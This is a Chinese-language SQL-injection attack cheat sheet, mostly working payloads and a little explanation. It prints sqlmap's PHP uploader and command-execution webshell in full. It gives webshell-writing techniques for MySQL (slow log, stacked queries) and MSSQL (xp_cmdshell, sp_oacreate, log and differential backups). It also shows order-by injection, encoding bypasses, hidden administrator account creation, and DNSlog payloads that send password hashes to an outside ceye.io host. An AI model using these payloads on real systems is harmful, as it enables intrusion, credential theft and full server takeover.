实战中的sql注入
MySQL 注入写 shell
sqlmap --os-shell原理
两部分构成,先写一个文件上传的接口
<?php if (isset($_REQUEST["upload"])) {$dir=$_REQUEST["uploadDir"]; if (phpversion()<'4.1.0') { $file=$HTTP_POST_FILES["file"]["name"]; @move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or die(); } else { $file=$_FILES["file"]["name"]; @move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or die(); } @chmod($dir."/".$file,0755); echo "File uploaded";} else { echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=C:\\phpstudy\\PHPTutorial\\WWW\\> <input type=submit name=upload value=upload></form>"; } ?>
然后尝试一下是否能访问,找到后就可以传马
<?php $c=$_REQUEST["cmd"]; @set_time_limit(0); @ignore_user_abort(1); @ini_set("max_execution_time",0); $z=@ini_get("disable_functions"); if(!empty($z)){ $z=preg_replace("/[, ]+/",',',$z); $z=explode(',',$z);$z=array_map("trim",$z); }else{$z=array();} $c=$c." 2>&1\n"; function f($n){ global $z; return is_callable($n)and!in_array($n,$z); } if(f("system")){ ob_start();system($c); $w=ob_get_clean(); } elseif(f("proc_open")){ $y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t); $w=NULL;while(!feof($t[1])){$w.=fread($t[1],512); } @proc_close($y);} elseif(f("shell_exec")){ $w=shell_exec($c); } elseif(f("passthru")){ ob_start(); passthru($c); $w=ob_get_clean(); } elseif(f("popen")){ $x=popen($c,r); $w=NULL; if(is_resource($x)){ while(!feof($x)){ $w.=fread($x,512); } } @pclose($x); } elseif(f("exec")){ $w=array(); exec($c,$w); $w=join(chr(10),$w).chr(10); }else{$w=0;} echo"<pre>$w</pre>";?>
sql 注入写 shell
前提条件:
1.知道绝对路径(猜+爆破) 2.远程目录有写权限 3.数据库开启secure_file_priv 4.mysql连接用户有FILE权限/ROOT用户/ROOT权限
其中
在 MySQL 5.5 之前 secure_file_priv 默认为空 在 MySQL 5.5 之后 secure_file_priv 默认为NULL
secure_file_priv 效果 NULL 不允许导入导出 空 可以读写,但是不能动态更改 指定文件夹 MySQL的导入导出只能发生在指定文件夹
默认情况下写不进去。。。慢日志写shell
查询时间超过慢日志要求查询时间的查询都会存入慢日志,如果把日志的查询路径改成木马文件,就可以使用恶意查询语句。
规避了 secure_file_priv 的限制,但要去 mysql 连接用户有权限开启日志记录和更换日志路径
# 1.查看当前慢查询日志目录 show variables like "%slow%"; # 2.开启慢查询日志的功能 set global slow_query_log=on # 3.重新设置日志路径,注意设置为网站的绝对路径 set global slow_query_log_file="指定的路径" # 将日志路径设置为网站路径WWW下 # 4.设置慢查询时间(构造查询大于慢日志纪录的时间) set global slow_launch_time=X # X>original_slow_launch_time # 有时候网络延迟,也会大于原来设置的时间,会记录不必要的信息,而设置大于原来时间或者及以上则可以排出这种干扰 # 5.执行SQL语句,写webshell进日志文件 select '<?php eval($_POST[cmd]); ?>' from mysql.db where sleep(10);
堆叠注入写 shell
通常 sql 注入有诸多限制,比如只能查不能增删改,不能更改数据库设置,而堆叠注入相当于获取了数据库密码进行直连,直接操作数据库。
MySQL中如果用的是mysqli pdo处理的话,有的可以堆叠,mssql+aspx是原生堆叠,Oracle要看代码层面是怎么写。
Mysqli PDO MySQL 引入的PHP版本 5.0 5.0 3.0之前 PHP5.x是否包含 是 是 是 服务端prepare语句的支持情况 是 是 否 客户端prepare语句的支持情况 否 是 否 存储过程支持情况 是 是 否 多语句执行支持情况 是 大多数 否
MySQL 注入读文件
也是基于有路径的前提下,
load_file() :读取指定文件(受 secure_file_priv 限制) load data infile 和 load data local infile,不受 secure-file-priv 的限制,但是需要堆叠。
两者的不同:
如果你没有给出local,则服务器按如下方法对其进行定位: 1)如果你的filename为绝对路径,则服务器从根目录开始查找该文件. 2)如果你的filename为相对路径,则服务器从数据库的数据目录中开始查找该文件. 如果你给出了local,则文件将按以下方式进行定位: 1)如果你的filename为绝对路径,则客户机从根目录开始查找该文件. 2)如果你的filename为相对路径,则客户机从当前目录开始查找该文件.
其中,load data local infile 的权限要看连接 mysql 服务器的客户端,任意读取客户端文件的原理就是执行了:
load data local infile "/etc/passwd" into table test
如果客户端是通过的mysql 客户端 对应的权限就是 mysq l的 如果是 php 的扩展可能就是 apache 的。order by 注入
首先要说一下这个技术存在的意义,目前主流防 sql 注入都是用参数化的方法(预编译),但是 order by 后面不能参数化,也很容易存在注入点(比如排序功能的位置)。本质原因是一方面预编译又只有自动加引号的 setString() 方法,没有不加引号的方法;而另一方面 order by后接的字段名不能有引号。那么进一步扩展一下:不只 order by,凡是字符串但又不能加引号的位置都不能参数化;包括sql关键字、库名表名字段名函数名。
注入方式:
报错注入: /?order=IF(1=2,1,(select+1+from+information_schema.tables)) /?order=(select+1+regexp+if(1=2,1,0x00) /?order=updatexml(1,if(1=2,1,user()),1) /?order=extractvalue(1,if(1=2,1,user())) 盲注: /?order=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) 查询: /?order=(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns+where+table_schema%3ddatabase()+and+table_name%3d0x676f6f6473+limit+0,1),1,1)=0x69,1,0x00))
配合 Dnslog
在无法直接利用漏洞获得回显的情况下,通过发起 DNS 请求外带数据。提交注入语句,让数据库把需要查询的值和域名拼接起来,然后发生 DNS 查询,我们只要能获得 DNS 的日志,就得到了想要的值
mysql:
http://127.0.0.1/mysql.php?id=1 union select 1,2,load_file(CONCAT('\\',(SELECT hex(pass) FROM test.test_user WHERE name='admin' LIMIT 1),'.mysql.nk40ci.ceye.io\abc'))
load_file 在 linux 下无法用 dnslog 攻击,因为 linux 中没有 UNC 路径 (\\)
UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。
mssql:
http://127.0.0.1/mssql.php?id=1; DECLARE @host varchar(1024);SELECT @host=(SELECT master.dbo.fn_varbintohexstr(convert(varbinary,rtrim(pass))) FROM test.dbo.test_user where [USER] = 'admin')%2b'.cece.nk40ci.ceye.io'; EXEC('master..xp_dirtree "\'%2b@host%2b'\foobar$"');
postgresql:
http://127.0.0.1/pgSQL.php?id=1;DROP TABLE IF EXISTS table_output; CREATE TABLE table_output(content text); CREATE OR REPLACE FUNCTION temp_function() RETURNS VOID AS $$ DECLARE exec_cmd TEXT; DECLARE query_result TEXT; BEGIN SELECT INTO query_result (select encode(pass::bytea,'hex') from test_user where id =1); exec_cmd := E'COPY table_output(content) FROM E\'\\\\\\\\'||query_result||E'.pSQL.3.nk40ci.ceye.io\\\\foobar.txt\''; EXECUTE exec_cmd; END; $$ LANGUAGE plpgSQL SECURITY DEFINER; SELECT temp_function();
或者用 db_link 扩展(但默认不开启)
http://127.0.0.1/pgsql.php?id=1;CREATE EXTENSION dblink; SELECT * FROM dblink('host='||(select encode(pass::bytea,'hex') from test_user where id =1)||'.vvv.psql.3.nk40ci.ceye.io user=someuser dbname=somedb', 'SELECT version()') RETURNS (result TEXT);
oracle:
利用方式很多了:
UTL_HTTP.REQUEST: select name from test_user where id =1 union SELECT UTL_HTTP.REQUEST((select pass from test_user where id=1)||'.nk40ci.ceye.io') FROM sys.DUAL; DBMS_LDAP.INIT: select name from test_user where id =1 union SELECT DBMS_LDAP.INIT((select pass from test_user where id=1)||'.nk40ci.ceye.io',80) FROM sys.DUAL; HTTPURITYPE: select name from test_user where id =1 union SELECT UTL_INADDR.GET_HOST_ADDRESS((select pass from test_user where id=1)||'.ddd.nk40ci.ceye.io') FROM sys.DUAL;
MSSQL 注入
判断是否是 MSSQL
报错: asp?id=49 and user>0 系统表回显:(IIS 报错关闭) asp?id=49 and (select count() from sysobjects)>0 asp?id=49 and (select count() from msysobjects)>0 (如果第一条返回页面与原页面相同,第二条与原页面不同,几乎可以确定是MSSQL,否则便是Access)
权限判断
and 1=(select is_srvrolemember(‘sysadmin’)) //判断是否是系统管理员 and 1=(select is_srvrolemember(‘db_owner’)) //判断是否是库权限 and 1=(select is_srvrolemember(‘public’)) //判断是否为public权限 ;declae @d int //判断MsSQL支持多行语句查询 and user>0 //获取当前数据库用户名 and db_name()>0 //获取当前数据库名称 and 1=convert(int,db_name())或1=(select db_name()) //当前数据库名 and 1=(select @@servername) //本地服务名 and 1=(select HAS_DBACCESS(‘master’)) //判断是否有库读取权限
查询语句
查库 and 1=(select top 1 name from master..sysdatabases where dbid>4) //(>4 获取系统库 <4 获取用户库) and 1=(select top 1 name from master..sysdatabases where dbid>4 and name<> ‘1’) //查询下一个数据库 查表 ?id=1 and 1=(select top 1 name from sysobjects where xtype=’U’ and name <> ‘threads’ and name <> ‘users’ ) 列名 ?id=1 and 1=(select top 1 name from syscolumns where id =(select id from sysobjects where name = ‘users’) and name <> ‘uname’ ) 拿数据 ?id=1 and 1=(select top 1 uname from users)
- 绕过
引入一个declare
函数,可以声明局部变量。declare 定义变量,set 设置变量值,exec 执行变量
select * from admin where id =1;declare @a nvarchar(2000) set @a='select convert(int,@@version)' exec(@a) --
其中变量值可以进行 hex 或 ascii 编码,可以用这个特性绕过引号过滤
select * from admin where id =1;declare @s varchar(2000) set @s=0x73656c65637420636f6e7665727428696e742c404076657273696f6e29 exec(@s)-- select * from admin where id =1;declare @s varchar(2000) set @s= CHAR(115) + CHAR(101) + CHAR(108) + CHAR(101) + CHAR(99) + CHAR(116) + CHAR(32) + CHAR(99) + CHAR(111) + CHAR(110) + CHAR(118) + CHAR(101) + CHAR(114) + CHAR(116) + CHAR(40) + CHAR(105) + CHAR(110) + CHAR(116) + CHAR(44) + CHAR(64) + CHAR(64) + CHAR(118) + CHAR(101) + CHAR(114) + CHAR(115) + CHAR(105) + CHAR(111) + CHAR(110) + CHAR(41) exec(@s)--
MSSQL 注入拿 shell
( xp_cmdshell 在 SQLServer 2005 后默认设置为关闭,但对于 SA 权限的用户来说都可以恢复)
存在堆叠注入的条件下用 xp_cmdshell 写 shell
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
然后直接可以执行命令
EXEC master..xp_cmdshell’免杀powershell命令’
如果 xp_cmdshell 被禁用的代替方法:
恢复 sp_oacreate,并执行命令:
EXEC sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'show advanced options', 0;
执行系统命令,没有回显,比如可以添加一个影子用户并加入管理员组
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user hack$ 0r@nge /add'; declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 0r@nge$ /add';
调用 cmd 执行命令
wscript.shell 执行命令 declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c xxx' Shell.Application 执行命令 declare @o int exec sp_oacreate 'Shell.Application', @o out exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c net user >c:\test.txt','c:\windows\system32','','1';
删除或恢复 sp_addextendedproc
/ 删除 / drop procedure sp_addextendproc drop procedure sp_oacreate exec sp_addextendedproc / 恢复 / dbcc addextendedproc (“sp_oacreate”,”odsole70.dll”) dbcc addextendedproc (“xp_cmdshell”,”xplog70.dll”)
恢复 sp_oacreate 和 xp_cmdshell
exec sp_addextendedproc xp_cmdshell , @dllname = ‘xplog70.dll’
如果这两个函数都不能执行(存在杀软),可以尝试备份写 shell,但再设置目录权限后可能就不行了。在拿shell之前首先要找一波路径,大致思路:
1.报错寻找 2.字典 3.旁站信息收集 4.调用储存过程来搜索 5.读配置文件
其中,可以用xp_cmdshell
、xp_dirtree
、xp_dirtree
、xp_subdirs
等函数找网站根目录(调用储存过程来搜索)
execute master..xp_dirtree 'c:' //列出所有 c:\ 文件和目录,子目录 execute master..xp_dirtree 'c:',1 //只列 c:\ 文件夹 execute master..xp_dirtree 'c:',1,1 //列 c:\ 文件夹加文件
如果没有回显的话可以插入一个临时的表:
id=1;CREATE TABLE tmp (dir varchar(8000),num int,num1 int); id=1;insert into tmp(dir,num,num1) execute master..xp_dirtree 'c:',1,1
log备份写 shell
- 前提条件:
1.数据库存在注入 2.用户具有读写权限,一般至少DBO权限 3.有网站的具体路径 4.站库不分离
- 操作步骤:
1.修改数据库为还原模式(恢复模式): ;alter database 库名 set RECOVERY FULL –- 2.建表和字段 ;create table moonflower(a image)-- 3.备份数据库 ;backup log 数据库名 to disk = ‘c:\www\moonflower.bak’ with init – 4.往表中写入一句话 ;insert into orange(a) values (0x...)-- //值要进行hex进制转换下 5.利用log备份到web的物理路径 ;backup log 数据库名 to disk = 'c:\www\moonflower.php' with init-- 6.删除表 ;Drop table moonflower--
差异备份写shell
第二次备份的时候会和上次备份的做对比,把不同的内容备份,所以只要插入一句话木马再备份,木马就会被写到数据库中。
- 前提条件:
1.有网站具体路径 2.有可写权限(dbo权限以上) 3.站库不分离
- 步骤:
1.备份数据库 ;backup database 数据库名 to disk = 'C:\www\\...' with init -- 2.创建表格 %';create table moonflower(a image) -- 3.写入webshell %';insert into orange(a) values (0xxxxx) -- 4.进行差异备份 %';backup log 数据库名 to disk = 'C:\www\moonflower.asp' WITH DIFFERENTIAL,FORMAT;-- 5.删除表 ;Drop table moonflower--
- 前提条件:
参考文献
- https://xz.aliyun.com/t/7942
- https://www.cnblogs.com/icui4cu/p/15143397.html
- https://xz.aliyun.com/t/7919
- https://blog.csdn.net/qq_39654116/article/details/112240391
- https://blog.csdn.net/youngerchen/article/details/7881678
- https://www.cnblogs.com/lsdb/p/12084038.html
- https://www.secpulse.com/archives/57197.html
- https://www.anquanke.com/post/id/98096
- https://forum.butian.net/share/517
- https://www.anquanke.com/post/id/156911
- https://www.geekby.site/2021/01/mssql%E6%B3%A8%E5%85%A5%E4%B8%8E%E6%8F%90%E6%9D%83%E6%96%B9%E6%B3%95%E6%95%B4%E7%90%86/